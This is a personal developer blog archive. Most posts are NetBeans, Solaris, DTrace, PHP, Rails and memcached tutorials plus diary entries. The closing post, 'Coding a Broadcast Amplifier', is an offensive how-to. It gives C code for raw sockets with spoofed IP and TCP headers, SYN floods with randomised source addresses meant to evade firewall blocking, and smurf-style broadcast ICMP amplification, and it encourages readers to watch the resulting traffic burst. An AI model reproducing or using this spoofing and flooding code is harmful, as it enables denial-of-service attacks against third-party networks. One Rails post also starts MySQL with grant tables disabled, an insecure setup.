Phantom Reference

I can kill but I ain't a killer

Tracing PHP Applications

In my previous post, I showed how you can run the NB-bundled sample PHP application, AirAlliance. When you are developing PHP applications in Solaris/OpenSolaris, you can use DTrace to debug your applications.

I have written a short write-up explaining how you can trace the AirAlliance sample application. using DTrace in OpenSolaris 2008.05. But the information is applicable to any PHP application you run on Solaris/OpenSolaris.

Read on.

( Jun 30 2008, 01:01:19 AM PDT ) Permalink Comments [0]

Creating Hibernate Apps in NetBeans

Full support for Hibernate will be available from NetBeans IDE 6.5. But If you are using NetBeans IDE 6.1, you can still create Hibernate based web applications using NetBeans.

I have posted a short tutorial here.

You need to download the latest development build of NetBeans to try out some cool features like reverse engineering, auto creation of POJO, map files, and a really neat HQL editor. Read the tutorial and try out NetBeans today.

( Jun 24 2008, 10:48:09 PM PDT ) Permalink Comments [0]

PHP Sample Application in NetBeans 6.1

My first PHP sample application for NetBeans has been integrated into the 6.1 nightly build. I wrote this app. mostly to highlight PHP semantics and the OOP part of PHP, but an interesting side effect is that I started appreciating NetBeans 6.1 PHP code aid capabilities.



So try out this app. today:
1. You need to install the 6.1 Nightly Build.
2. From Tools > Plugin option install both PHP(if not already installed) and PHP Samples modules.
3. Create a MySQL DB by name 'AirAlliance'.
4. Create New Project > PHP Samples > AirAlliance.
5. View Readme.html file under the project dir.

Run the SQL dump script from the SQL sub dir. to populate the table schema and sample records. Run the project and browse around.



Use NetBeans 6.1 for your PHP development. Know more about PHP support for NetBeans from this page.

( Apr 25 2008, 06:53:30 AM PDT ) Permalink

Workaround for VBox-Indiana Nic Issue

In my earlier entry, I posted an issue with using Indiana Preview2 as guest OS with VirtualBox due to pcn driver restrictions. The network gets disabled. Alan shows you how you can get an open source driver alternative that works just great. But why the pain? You can use VirtualBox's multiple NIC simulation feature to simulate a different and supported type.



Under Settings > Network, choose Intel PRO/1000 adapter type to simulate a e1000g0 driver in Indiana instead of the default PCnet type. And you are done.

( Apr 03 2008, 11:26:41 PM PDT ) Permalink

At OpenSource Mela

I gave a short demo to our internal Sun guys on NetBeans DTrace plug-in showing them a sample PHP app. and how to identify some performance bottlenecks. Here is a pic.



I'm the hostile guy in the picture (second from right). Thank you Vasanth for the pic.

( Mar 25 2008, 04:28:41 AM PDT ) Permalink

GUI based Package Manager for OpenSolaris

Have you checked out OpenSolaris Developer Preview 2? If not, download the 1 CD installer and try it out. If you are data-phobic like me, try out OpenSolaris from VirtualBox, a safe type 2 hypervisor.

I tried running OpenSolaris Developer Preview2 as a guest OS from my SXDE /08. It was amazingly fast. My only issue was with the VirtualBox's simulated nic. Due to some licensing issues the pcn driver will not work. But you can get the ae driver as explained by an excellent entry from Alan here.



For managing packages in OpenSolaris you can use the pkg tools or try out the new GUI based package manager that gives you a true Ubuntu experience when it comes to managing packages. Well almost. This piece of software is fully functional and you can test it now before the actual release.

Here are some quick steps to get you started using this GUI in OpenSolaris:

1. Get SVN - pkg install SUNWsvn
2. Get the source tree -
   svn co svn+ssh://anon@svn.opensolaris.org/svn/jds/ipsgui ipsgui
3. Run make and make install under ipsgui sub folder.
4. Install Packages - Go to ips-gui/packages/ and run
   pkgadd -d . SUNWipkg-gui SUNWipkg-gui-data (Accept the defaults).
5. Execute packagemanager.

Here is the screenshot.



I became little more adventurous and installed Apache Web Server through this tool.





Try this neat tool today!

( Mar 24 2008, 07:39:07 AM PDT ) Permalink Comments [1]

Tracing PHP Function Call Time Using DTrace

In NetBeans, you can use the DTrace plug-in to analyze the performance of your PHP applications. A DTrace provider for PHP that adds probes to function entry and exit points has been available through Cool Stack. The support is also provided through Web Stack, if you are using SXDE 1/08.

To get started, follow these tutorials:
1.Configure NetBeans for DTrace.
2.Get PHP DTrace Extension.

Once you are done with the steps provided in the above articles, start your Apache web server and check the probes.

bash-3.2# dtrace -l | grep php

17952    php1895         dtrace.so       php_dtrace_execute function-entry
17953    php1895         dtrace.so       php_dtrace_execute_internal function-entry
17954    php1895         dtrace.so       php_dtrace_execute function-return
17955    php1895         dtrace.so       php_dtrace_execute_internal function-return
17956    php1896         dtrace.so       php_dtrace_execute function-entry
......
......

I'm running a simple PHP application that has some function calls. Go to the DTrace window in the NetBeans IDE and start the

php_flowtime.d

script.



Here is my output. The output shows which function is being invoked and the invoke time.



My example has only a few SOAP calls. If you have a complex application with DB calls, this script will be useful to analyze the performance bottlenecks in your application.

( Mar 06 2008, 02:46:31 AM PST ) Permalink

Using Netbeans on Solaris

In my experience with interacting with the community in the recent Hyd. tech days, I could find many instances wherein the community is clueless about Web development on Solaris OS. While I could show them some demos of the Web Stack components, I could not discuss a whole lot about the Web Stack project and NetBeans capabilities on Solaris.

So I have a short writeup posted in NetBeans Wiki, so you can get more information about getting started with NetBeans based web development on Solaris OS.

Read the tutorial

( Mar 02 2008, 09:51:41 PM PST ) Permalink

Sun Tech Days 2008 - NetBeans Pod

I gave some cool demos today in the NetBeans pod in Sun Tech Days that happened in Hyderabad. The crowd were enthusiastic most of the time and a little obnoxious some times. Obnoxious to the point of looking under your desk for any goodie. Overall it was a very good response. I started showing some Web Stack demos on 1/08 and showed them how NetBeans can be used for PHP and Ruby development.

The questions from the group can be mostly classified under SOA capabilities, Mobile development and performance. Almost everybody asked me to compare NetBeans IDE with Eclipse IDE. After repeating again and again for some 55 times I conceded by saying 'Choose the IDE that fits your requirement. Never get influenced by the NetBeans site or the evangelists'. That said, guys grow up. Use NetBeans IDE. It rocks like nobody's business. This one particular person got curious when I showed him some PHP demos. He wanted to know if there are any cake like framework support. After seeing the demo, I believe, he went back happy. I know he already made a decision. Because there are not much of open source PHP IDEs available today.

The part of the day I liked was when I got to talk about Solaris specific features that NetBeans boasts off like the DTrace plug-in. I showed the crowd how they can trace packages loaded by any Java application using this plug-in. Many were interested and wanted to use but they have no option to try it out, since they develop applications on Windows. Again, grow up guys. It was overall an exciting experience to talk with the students and the community and find out what they are looking for in an IDE.

I happened to be in the same pod (NetBeans) for last year's Tech Days. I still remember not many guys were impressed with NetBeans. This time, NetBeans really came around with its 6.0 release, which some students claim is best suited for their needs than any other similar development tool. End of the day, when I was loosing my air, Roumen came and bailed me out. Tomorrow it is going to be another day but I won't compare NetBeans with Eclipse.

( Feb 27 2008, 05:32:54 AM PST ) Permalink

Morbid Priest

Over the weekend, I gave some final touch up to my FPS game 'Morbid Priest' The storyline is not that great. You can download and try the game. It is a 2MB file and sorry....it is a Windows executable coz I don't know how to compile it to other platforms as I'm using DirectX based effects.



Note the black fog in the camera view. It disappears as the sprite moves towards the fog. The DirectX fog is used to hide ugly monsters that pounce on you when you move.



You are the last survivor in your clan. You are trapped in the death chamber. You should collect all the 4 holy rocks to survive and tell the story to others. The sprites used in this game are freely available in the internet.

BTW, the walls and the floors have lot of blood and charred remains of flesh. If you are wondering, I don't believe in 'green blood'. For phantom sake, grow up. One more thing-All sprites are 2D images. It just gets rotated when you move. Since they always face you, they look like a 3D object.

( Jan 31 2008, 01:15:04 AM PST ) Permalink

Nimbus Look and Feel For Linux

One facet that I like most on SXDE is the L&F (Nimbus). It is a look-and-feel designed by Sun for the Java Desktop System and set as a default L&F on SXDE. Nimbus is just adorable and neat on your desktop giving your desktop a clean and professional look. Fortunately if you are running Linux, you can still get this L&F.

1. Get the theme from http://www.gnome-look.org .
2. Use dpkg -i to install the debs. Or use a package manager like GDebi.

It works on Ubuntu-Gutsy. It may work on all Deb distros.

Here is a snapshot:





( Dec 17 2007, 10:10:03 PM PST ) Permalink Comments [2]

Hello NetBeans, this is PHP!

Do you know that you can use NetBeans to build web applications using PHP? PHP plug-in is an extension to the NetBeans IDE that enables you to perform web based development on NetBeans. While there are several PHP IDEs available in the market today, NetBeans PHP plug-in offers the same functionalities offered by other IDEs and then much more. Here is a short note to quickly get you started with NetBeans PHP plug-in in Solaris.

What do you need?

1. Solaris OS
2. NetBeans 6.1 Nightly Build
3. Apache 2.2 and PHP 5.2.4 (Get the CoolStack)

After installing the NetBeans 6.1 nightly build, Go to Tools > Plugins > Available Plugins



Select PHP plug-in and click Install. Follow the screens and restart the IDE.

After installing CoolStack, start httpd. Make sure Apache is running by pointing your browser to http://localhost.

In the Services tab select Web Servers > Add Host and select Local Web Server.



Then, provide the correct path to Apache 2 configuration file.



Enter a valid Document Root for Apache2 [Accept the defaults].



After finishing with the configuration, you should see Apache2 connection under Web Servers as shown below:



For creating a new PHP project, select File > New Project and select PHP Project from the PHP category.



Provide a target server for your PHP project.



In your PHP code, type phpinfo(); to get the PHP configuration information.



OK, now is my simple PHP code:



You can right click the project and select Run Project to view the output on a browser. There are also NetBeans modules for PHP Debugging.

Check out the NetBeans PHP Wiki for more information.

( Nov 28 2007, 02:45:54 AM PST ) Permalink Comments [9]

Solaris, PostgreSQL, and NetBeans - Just Perfect!

PostgreSQL is the open source enterprise database platform fully integrated into Solaris 10 and Solaris Express Developer Edition (SXDE) with comprehensive support offerings from Sun.
Unlike many proprietary databases, PostgreSQL is known as the 'failsafe DB' among the community and do you know PostgreSQL on Solaris along with NetBeans 6.0 is one skull of a combination? Here is a note on quickly setting up PostgreSQL 8.2 on SXDE 9/07 to make it work with NetBeans 6.0.
PostgreSQL is free of charge, and Sun includes a version of the database with every Solaris distributions since last June. So you are spared from downloading, building or doing any pre-installation act.

And this is straight from my console. Nothing less, nothing more, just 2 commands(highlighted):

bash-3.2$ su
Password: 
# chown postgres:postgres /var/postgres/8.2/data 
# su - postgres 
$ bash 
bash-3.2$ /usr/postgres/8.2/bin/initdb -D /var/postgres/8.2/data
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process. 
The database cluster will be initialized with locale C. 
fixing permissions on existing directory /var/postgres/8.2/data ... ok 
creating subdirectories ... ok 
selecting default max_connections ... 100 
selecting default shared_buffers/max_fsm_pages ... 32MB/204800 
creating configuration files ... ok 
creating template1 database in /var/postgres/8.2/data/base/1 ... ok 
initializing pg_authid ... ok 
initializing dependencies ... ok 
creating system views ... ok 
loading system objects' descriptions ... ok 
creating conversions ... ok 
setting privileges on built-in objects ... ok 
creating information schema ... ok 
vacuuming database template1 ... ok 
copying template1 to template0 ... ok 
copying template1 to postgres ... ok 

WARNING: enabling "trust" authentication for local connections 
You can change this by editing pg_hba.conf or using the -A option the 
next time you run initdb. 

Success. You can now start the database server using:

    /usr/postgres/8.2/bin/postgres -D /var/postgres/8.2/data 

or 

    /usr/postgres/8.2/bin/pg_ctl -D /var/postgres/8.2/data -l logfile start

bash-3.2$ su
Password: 
# /usr/sbin/svcadm enable postgresql:version_82

And now PostgreSQL server is up.

You need to have NetBeans 6.0 Beta 2 to try this out. Starting from NetBeans 6.0 Beta 2, the PostgreSQL driver comes bundled with the IDE.
















If you don't know already, a single Sun Fire T2000 Server running PostgreSQL 8.2 database and Solaris OS achieved the highest open source database performance on the SPECjAppServer2004 benchmark.
So try out this perfect combination - NetBeans 6.0, Solaris OS, and PostgreSQL.

( Nov 04 2007, 04:16:02 AM PST ) Permalink Comments [1]

Using memcached in Solaris Zones

These days everyone seems to use memcached, a high-performance, distributed memory object caching system, intended for use in speeding up web applications. Performance can be greatly improved from moving away from disk fetch to a RAM fetch. Here is an excellent article explaining memcached taking LiveJournal as a case study.
Do you know that memcached daemons can be set up on Solaris Zones too? For this you need to download memcached package from the Cool Stack site.

What you need to get?
1. Cool Stack
2. memcached Java Client APIs (Get this jar and this jar).

Create and Boot Zones
I have created 3 zones zonea, zoneb and zonec to test memcached. For information on creating Solaris zones read this article.

I'm using SXDE 9/07
OK you don't have SXDE? Go go go get it!

Here is the status of my zones:

# zoneadm list -vc
ID NAME STATUS PATH BRAND IP
0 global running / native shared
4 zonea running /zones/zonea native shared
5 zoneb running /zones/zoneb native shared
6 zonec running /zones/zonec native shared

Start memcached on all Zones

Follow the Cool Stack site for installing Cool Stack on your zones. When you do a pkgadd -d <memcached*.pkg>, memcached gets installed in all the available zones even though they are not in a running state.

When everything is set, these commands should work fine:

zonea# ./opt/coolstack/bin/memcached -u phantom -d -m 100 -l 129.158.224.242 -p 11111
zoneb# ./opt/coolstack/bin/memcached -u phantom -d -m 100 -l 129.158.224.231 -p 11112
zonec# ./opt/coolstack/bin/memcached -u phantom -d -m 100 -l 129.158.224.243 -p 11113

I'm starting memcached as non-root user on all all zones with 100 MB memory bucket. This should be OK for testing but ideally in a production setup it should be around a terabyte.

If you don't know already, each Solaris zone can bind to an IP and port through the virtual interface. So I don't need 3 NICs or 3 machines but just 3 zones.

Test memcached

I assume that you have set the classpath pointing to the downloaded jars. Phantom sake, use Netbeans for simplicity. I'm going to store an object in-memory and retrieve it from the memcached daemon running on zonea.

        ....
    //Interact with zonea
    MemcachedClient c;
    try {
        c = new MemcachedClient(new InetSocketAddress
                ("129.158.224.242", 11111));
        String test=new String("I'm going to be cached!");
        c.set("mykey", 180, test);
        Object obj=c.get("mykey");
        System.out.println((String)obj);
        c.delete("mykey");
    } catch (IOException ex) {
        ex.printStackTrace();
    }
       ...

I'm storing an object for 3 mins. After retrieveing the object, I clean the cache. When you compile and run here is the output:

2007-10-03 10:38:49.615 INFO net.spy.memcached.MemcachedConnection: Connected to {QA sa=/129.158.224.242:11111, #Rops=0, #Wops=0, #iq=0, topRop=null, topWop=null, toWrite=0, interested=0} immediately
I'm going to be cached!

From your code, you can also connect to multiple memcached servers and store objects.
This is quite ineresting. I'm going to halt one zone and will try to store object in-memory on all the three zones.

# zoneadm -z zonea halt
# zoneadm list -vc
ID NAME STATUS PATH BRAND IP
0 global running / native shared
5 zoneb running /zones/zoneb native shared
6 zonec running /zones/zonec native shared
- zonea installed /zones/zonea native shared

Now zonea is no longer running memcached because zonea zone itself is down.
Here is the modified code:

    MemcachedClient c;
    try {
        //zonea, zoneb and zonec
        c=new MemcachedClient(AddrUtil.getAddresses
            ("129.158.224.242:11111
              129.158.224.231:11112   
              129.158.224.243:11113"));
        String test=new String("I'm going to be cached on all zones!");
        c.set("mykey2", 180, test);
        Object obj=c.get("mykey2");
        System.out.println((String)obj);
        c.delete("mykey2");
    } catch (IOException ex) {
        ex.printStackTrace();
    }

I'm trying to store the object on all the available servers. But zonea is offline.
Here is the output:

2007-10-03 11:18:27.678 INFO net.spy.memcached.MemcachedConnection:
Added {QA sa=/129.158.224.242:11111, #Rops=0, #Wops=0, #iq=0, topRop=null, topWop=null, toWrite=0, interested=0} to connect queue
2007-10-03 11:18:27.682 INFO net.spy.memcached.MemcachedConnection:

Connected to {QA sa=/129.158.224.231:11112, #Rops=0, #Wops=0, #iq=0, topRop=null, topWop=null, toWrite=0, interested=0} immediately
2007-10-03 11:18:27.684 INFO net.spy.memcached.MemcachedConnection:

Connected to {QA sa=/129.158.224.243:11113, #Rops=0, #Wops=0, #iq=0, topRop=null, topWop=null, toWrite=0, interested=0} immediately
I'm going to be cached on all zones!

The object is queued for insertion whenever zonea comes up. It would be interesting to test the automatic failover behaviour of memcached considering the fact that memcached is a mother of all hashtables and there should be sufficient fail safe plumbing required between running instances of memcached daemons. In my future posts, I will try to show you how to use DTrace for memcached debugging.


( Oct 03 2007, 12:26:03 AM PDT ) Permalink

Life on Rails

I have heard enough of rails. I wanted to create a simple rails application that holds some flight information. I'm going to just focus on the getting started information for rails on Freespire.

I'm trying Freespire (built on Ubuntu 7.04). Getting Ruby/Rails package and installing them is a breeze:

$ sudo apt-get install ruby rubygems irb ri rdoc ruby1.8-dev build-essential
$ sudo gem install rails --include-dependencies

$ ruby -v

	ruby 1.8.5 (2006-08-25) [i486-linux]

$ sudo apt-get install libmysql-ruby mysql-server$ sudo apt-get install libopenssl-ruby

I'm going to use MySQL server for my simple flights application. I already have MySQL Server 5.0 installed. So I'm going to start the server and create a test database:

$ sudo mysqld_safe --skip-grant-tables
Starting mysqld daemon with databases from /var/lib/mysql
mysqld_safe[8850]: started
...
$ mysql
mysql> create database flights;
Query OK, 1 row affected (0.00 sec)

I created rails environment:

$ rails flights

      create  app/controllers
      create  app/helpers
      create  app/models
      create  app/views/layouts
      create  config/environments
      ....

I provided DB Information in config/database.yml. Here is the snippet:

development:
  adapter: mysql
  database: flights
  username: 
  password:
  host: localhost
  socket: /var/run/mysqld/mysqld.sock

Since I have started the server bypassing the grant tables, I don't have to provide user information here. Change the mysqld.sock path to suit your settings.

I can create tables in MySQL through a rake migration script. That way my app. is not tightly coupled with any server and I can migrate my schema to another production server later.

I created the skeleton files for our flights table.

$ script/generate migration flights
      create  db/migrate
      create  db/migrate/001_flights.rb

I modified my db/migrate/001_flights.rb file with the flights schema information:

class Flights < ActiveRecord::Migration
  def self.up
    create_table :flights do |table|
        table.column :name, :string
        table.column :from, :string
        table.column :to, :string
        table.column :duration, :int
        table.column :stops, :int
    end
  end
  def self.down
    drop_table :flights
  end
end

OK now I have my flights schema ready. I need to invoke the rake migrate script to update the flights DB.

$ rake db:migrate
(in /home/phantom/rails_sample/flights)
== Flights: migrating =========================================================
-- create_table(:flights)
   -> 0.0389s
== Flights: migrated (0.0395s) ================================================

I checked my DB:

mysql> use flights;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

mysql> show tables;

+-------------------+
| Tables_in_flights |
+-------------------+
| flights           |
| schema_info       |
+-------------------+

2 rows in set (0.00 sec)

mysql> desc flights;

+----------+--------------+------+-----+---------+----------------+
| Field    | Type         | Null | Key | Default | Extra          |
+----------+--------------+------+-----+---------+----------------+
| id       | int(11)      | NO   | PRI | NULL    | auto_increment |
| name     | varchar(255) | YES  |     | NULL    |                |
| from     | varchar(255) | YES  |     | NULL    |                |
| to       | varchar(255) | YES  |     | NULL    |                |
| duration | int(11)      | YES  |     | NULL    |                |
| stops    | int(11)      | YES  |     | NULL    |                |
+----------+--------------+------+-----+---------+----------------+

6 rows in set (0.00 sec)

There I go. The table created by rails is ready.
Based on the schema created, I'm going to generate my scaffolding code.

$ script/generate scaffold flight flights
      exists  app/controllers/
      exists  app/helpers/
      create  app/views/flights
      exists  app/views/layouts/
      exists  test/functional/
  dependency  model
      exists    app/models/
      exists    test/unit/
      exists    test/fixtures/
      create    app/models/flight.rb
      create    test/unit/flight_test.rb
      create    test/fixtures/flights.yml
      ...

where flight is my model name and flights is my controller name. Sometimes the singular/plural restrictions of rails get on my skull.

I'm going to test my application:

$ script/server
=> Booting WEBrick...
=> Rails application started on http://127.0.0.1:3000
=> Ctrl-C to shutdown server; call with --help for options
[2007-09-20 13:24:30] INFO  WEBrick 1.3.1
[2007-09-20 13:24:30] INFO  ruby 1.8.5 (2006-08-25) [i486-linux]
[2007-09-20 13:24:30] INFO  WEBrick::HTTPServer#start: pid=9062 port=3000

With some records in the table my application looks like:



Do you know you can do all this in a more intuitive way using Netbeans 6.0? Netbeans 6.0 has a very good support for Ruby and Rails. Check this out.



( Sep 20 2007, 01:28:32 AM PDT ) Permalink Comments [1]

Trip To Beijing

I had the privilege to visit Sun China Engineering and Research Institute in Beijing last week. It was a short trip, but I had lot of fun interacting with the HCTS engineers that develop cool tools like Sun Device Detection Tool and Installation Check Tool.
This is the complete HCTS team:



When I was at Beijing, I tried some wonderful food like this one (Don't remember what it is!):



And I liked the host better than the food. She was cute:



Talking about Chinese women, what makes them so special is their glowing smile. This one is Fiona, a brilliant and beautiful engineer from Beijing:



She is holding something delicious and again I can't remember what it is.

Foreign devil, Chinese beauty, massacred chicken and preserved eggs:



And more food..



This is a caution note on a sharp edge of a wall.



'Mind Your Head' conveyed many things to me. But what the skull, I like the Chinese humor.

( Aug 22 2007, 07:13:07 AM PDT ) Permalink

The Lost World

Couple of years back, I wrote a small piece for sys-con explaining how you can access MBeans through Jini. By using Jini, a JMX agent can be distributed the same way as an RMI connector, but without mandating that the clients know the location of the running agent. Hence, to access a JMX agent, the clients can just create a Jini connector and locate the nearest running agent. When I built my first Jini application - Distributed Content Management System (DCMS), I din't know of Solaris Zones. So I used several machines (>10) to set up and test my transient and persistent services.

Today I would simulate the complete system including more than 15 odd Jini services in a single box using zones. Now you can set up JavaSpaces cluster to perform complex data processing from a single hardware with each JavaSpace instance deployed on a zone.

The following figures show the Jini services deployed on different zones being accessed from Linux:







Much of the Jini Impl work will hopefully be carried out through Apache River. Till then, Jini will remain a lost world, waiting to be re-discovered.

( Jul 12 2007, 03:23:15 AM PDT ) Permalink

Hello Zones, I'm Linux II

In the last post, I mentioned that you can access your Solaris zones from Ubuntu through VMWare. We used the zones as load balancers for a MySQL DB set up in Ubuntu. But if you want to run Linux binaries on Solaris, the environment would not help as Solbox is not configured to support branded zones. BrandZ is a framework that extends the zones infrastructure to create Branded Zones, which are zones that contain non-native operating environments like Linux.

Create a branded Linux zone on Solbox so we can run Linux applications. Read this blog entry to understand the steps required for creating branded zones.



In the above figure, the Linux branded zone is highlighted.

If you configure the branded zone to use a valid static IP address in the subnet, you can communicate with this zone just like any another Linux box.



This branded zone enables Linux binaries to run unmodified on Solaris.

The branded zone will run on x86/x64 systems booted with either a 32-bit or 64-bit kernel. Regardless of the underlying kernel, only 32-bit Linux applications are able to run.



For more information, read the BrandZ System Administration Guide.

( Jun 28 2007, 07:08:03 AM PDT ) Permalink

Hello Zones, I'm Ubuntu

If you have worked with MySQL DB, you should be knowing how to set up a DB cluster to take care of DB high availability. MySQL Cluster has automatic node recoverability to ensure an application automatically fails over to another database node, if one or more database nodes fail. Now for trying out this MySQL DB Cluster, you don't need to look up for multiple boxes. You can use the Solaris Zones to setup multiple DB nodes and manage them from another zone running the management node. But have you tried setting up a heterogenous MySQL DB Cluster? It is possible.
For the proof-of-concept, we'll set up the DB management node in Ubuntu Linux and let the node manage two other DB nodes set up in two different zones accessible through the host interface using virtualization.



Create two whole root zones solboxlb1 and solboxlb2 on Solaris SXDE. You should have a VMWare image of Solaris and VMWare Player or VMWare Workstation to boot the global zone.



Your virtual machine (Solaris) should have a bridged network connection to directly connect to the physical network.



In both the zones I run ndbd with the connectionstring pointing to my ubuntu linux box IP address. Start the MySQL servers on both the zones.



Test if your cluster is initialized by listing the DB nodes in the cluster from the Ubuntu box using ndb_mgm tool. The latest MySQL Server bundle has the tools required to set up a cluster and you don't need any other package (like the MAX package used by previous versions).



The above figure shows 1 management node and 2 cluster nodes set up and working fine. Read this excellent article on setting up MySQL Cluster DB on Solaris Zones.
So Linux and Zones can co-exist and work towards a common objective atleast in this case of a heterogenous MySQL DB cluster.

( Jun 20 2007, 02:17:05 AM PDT ) Permalink Comments [0]

Frame the Framer?

In a recent baptism ceremony, I got to play the photographer. I love this job, as you have the permit to zoom in to any babe out there. Not that many I could see in this particular event but managed to pick my flicks. But hey who is this block, who framed me?



Not many knew that you can't take professional quality pics with a Casio Exilm, but they trust me. In the pic, I'm standing tall clueless as the baptism baby was not in the line and what am I doing there? Caught.
( Jun 14 2007, 06:18:58 AM PDT ) Permalink

World's Worst Blogger

Me. Why? My last entry on this blog was 2 years back!!! I'm such an amazing lazy skull. Now I have decided to write a line every month!

Here is a pic from the recent Sun TechDays at Hyderabad. I was in the Developer Tools Pod. I just dropped by to say hello to my IPG friends. I'm the first one from left.



( Mar 09 2007, 06:37:50 AM PST ) Permalink

Laptop CPU Frequency Scaling

I was trying hard to clock down my humble N hot sempron 2800+ based notebook. Why sempron? I like AMD babies (And phantom is broke! Devil takes care of my wallet. Hey itz my pet horse). But this baby I have, steams up for no reason. The sempron site offered me a download utility called PowerNow. Thatz for Win boxes. And I don't have one.



So I got this really fundu Linux distro 'Ubuntu'. Guess what, while installation it detects my laptop and installs their new frequency scaling monitor. When I don't need much ghost power, it scales down my CPU frequency to keep my baby Cool and Quiet. So while I watch movies CPU freq is at max 1.7 GHz and when I pause, it brings down the freq to 800 MHz. Neat. Wish I could select the freq myself. But then itz Linux. Err.. no itz sempron. No No, itz me.

( Jul 13 2005, 09:31:57 AM PDT ) Permalink Comments [2]

Phantom's IQ

I took an IQ test from http://web.tickle.com/tests/uiq/ and I got this score. Considering Phantom's brainless skull, this should not be difficult to get for others. So if you score lesser than 126, post your score here.

I would like to ask you how you managed.

( Jun 07 2005, 08:40:36 PM PDT ) Permalink Comments [3]

Late Wishes

I know this is very late. But just thought of wishing Duke a long and 'prosperous' life on his 10th b'day



( May 26 2005, 08:47:30 PM PDT ) Permalink Comments [0]

Obstacle is the Path

Nice proverb. Last couple of weeks, I'm trying to get my A-Star algo right but with no luck. Here is the game scene. Aliens come and attack you inside a maze like structure filled with obstacles. You know where the aliens are and in which direction they are proceeding coz it is a 2D map. Coz you are an intelligent human! You have been wired that way. But coding aliens to find the shortest path towards a moving target is getting over my skull. Lot of Maths. Last thing which worked for me is the A-Star - Manhattan path finding combo, which is not however guaranteed to find the shortest path. It is possible to find shortest path to moving obstacles by dynamically updating the obstacle info, open and closed list.
But it is very difficult to predict a human move and calculate the hueristic value. Human mind can perform a billion calculations a second. How do the aliens still predict the human path?
There is a way to it. It is called sensory perception model. It is however not known in the Maths circle and I'm trying to work out a statistical model based on ML to forge a human brain and predict the shortest path towards flashing or moving targets. I'm doing this coz I'm crazy nut-and-a-half skull getting bored. And the weekend is far way. ( May 17 2005, 09:11:06 PM PDT ) Permalink Comments [0]

Coding a Broadcast Amplifier

IP Spoofing has always helped hackers in devising new DDOS attacks. One such technique is to send a large amount of ICMP echo request (Ping) traffic to all known IP broadcast addresses with the spoofed source address of the victim. The router delivering traffic to the broadcast address enables in broadcasting the request, which results in most of the hosts on the network taking the ICMP echo request and replying to it. First it kills the target and next it increases the network traffic. Unfortunately you can code one such spoofer for broadcast amplification with ease. Many hacker tools also perform similar function like Smurf. After creating a raw socket we need to set our socket option to enable us to send broadcast datagrams with spoofed IP in the network. This can be done effortlessly as follows:

    setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *) &bcast, sizeof(bcast)); 

Remember SO_BROADCAST applies only for Datagram packets. Let us analyze the ICMP related headers in our packet.

    struct icmp *icmp;
    icmp = (struct icmp *) (packet + sizeof(struct ip));
    icmp->icmp_type = 8;
    icmp->icmp_code = 0;
    icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); 

Note that we are setting our ICMP packet type as 8, which represents Echo request. (Check out RFC 1700 for other types). The ICMP code stands for the nature of error in the communication. Let us make it 0, which stands for 'Net Unreachable' (Who cares for error messages). After construction the echo reply, just send it to any valid broadcast address, or your subnet broadcast address (Say 234.134.255.255), and check out the burst in network traffic.

Spoofing Packets In Linux, if you want to create a raw socket, you need super user privilege, thus preventing other users from writing their own datagrams to the network. All socket-related structures and functions can be found in sys/socket.h and linux/socket.h. To create an IPV4 raw socket, use the socket function like this:

    int sd;
    sd=socket(AF_INET, SOCK_RAW, IPPROTO_TCP); 

The protocol constant IPPROTO_TCP is defined in netinet/in.h and linux/in.h. The above code creates an Internet (AF_INET) raw socket with TCP protocol.

Spoofing source IP can be done by setting IP_HDRINCL (Include IP Header) in socket option.

    int sm=1;
    const int *val=&sm;
    setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(sm)); 

If the result is a negative number, then the kernel does not allow IP spoofing, which is very rare. With my 2.4.1 kernel, it works. Check out the IP header, which we've built:

    iph->ip_hl = 5;
    iph->ip_v = 4;
    iph->ip_tos = 0;
    iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->ip_id = htonl (54321);
    iph->ip_off = 0;
    iph->ip_ttl = 255;
    iph->ip_p = 6;
    iph->ip_sum = 0; iph->ip_dst.s_addr = sin.sin_addr.s_addr;
    tcph->th_sport = htons (3456);
    tcph->th_dport = htons (atoi(argv[2]));
    tcph->th_seq = random ();
    tcph->th_ack = 0;
    tcph->th_x2 = 0;
    tcph->th_off = 0;
    tcph->th_flags = TH_SYN;
    tcph->th_win = htonl (65535);
    tcph->th_sum = 0;
    tcph->th_urp = 0;
    iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1); 

Note that we are specifying each and every value in the IP header, including header length, IP version, type of service, and checksum. We use our own checksum algorithm. We have also set the SYN flag for this packet. You can also set ACK flag along with SYN.

Some firewalls detect SYN Flood and block the source IP address. So we need to assign our spoofed source IP address a random number as shown below:

    b1=100+(int)(255.0*rand()/(RAND_MAX+100.0));
    b2=100+(int)(255.0*rand()/(RAND_MAX+100.0));
    b3=100+(int)(255.0*rand()/(RAND_MAX+100.0));
    b4=100+(int)(255.0*rand()/(RAND_MAX+100.0)); 
    sprintf(b1s,"%d",b1);
    sprintf(b2s,"%d",b2);
    sprintf(b3s,"%d",b3);
    sprintf(b4s,"%d",b4);
    strcat(b1s,".");

    strcat(b2s,".");
    strcat(b3s,".");
    strcat(b1s,b2s);
    strcat(b1s,b3s);
    strcat(b1s,b4s);
    iph->ip_src.s_addr = inet_addr (b1s); 

We must be careful in building the spoofed IP in the correct form, as the kernel is configured to drop packets with malformed addresses. After fabricating our packet we can send the SYN request using the standard sendto() method as follows:

sendto (s,datagram,iph->ip_len,0,(struct sockaddr *) &sin,sizeof (sin)); 

Note that we have to calculate the checksum for our packet.

RFC 791 says:
The checksum field is the 16 bit one's complement of the one's complement sum of all 16 bit words in the header
Now let's analyze the standard IP header values. The first entry in the header is the IP version, which is 4 (IPV4). The next entry is the header length, which is 5 for most packets. The next entry is "Type of Service", which is 0. Note that TOS occupies 8 bits of header. So lets calculate our first 16 bit chunk. We know 4 is 100 and 5 is 101. So our first chunk is: 0100 0101 0000 0000, which is 4500. Next, 16 bits occupy the total length of the packet. Lets assume the length as 40 bytes (This includes the TCP Header too. The TCP Header's minimum size is 20 bytes). So the second chunk is :
0000 0000 0010 1000, which is 0028. If our Identification field value is 1, then the third chunk becomes:
0000 0000 0000 0001, which is 0001
Fragmentation Offset and flags : 0
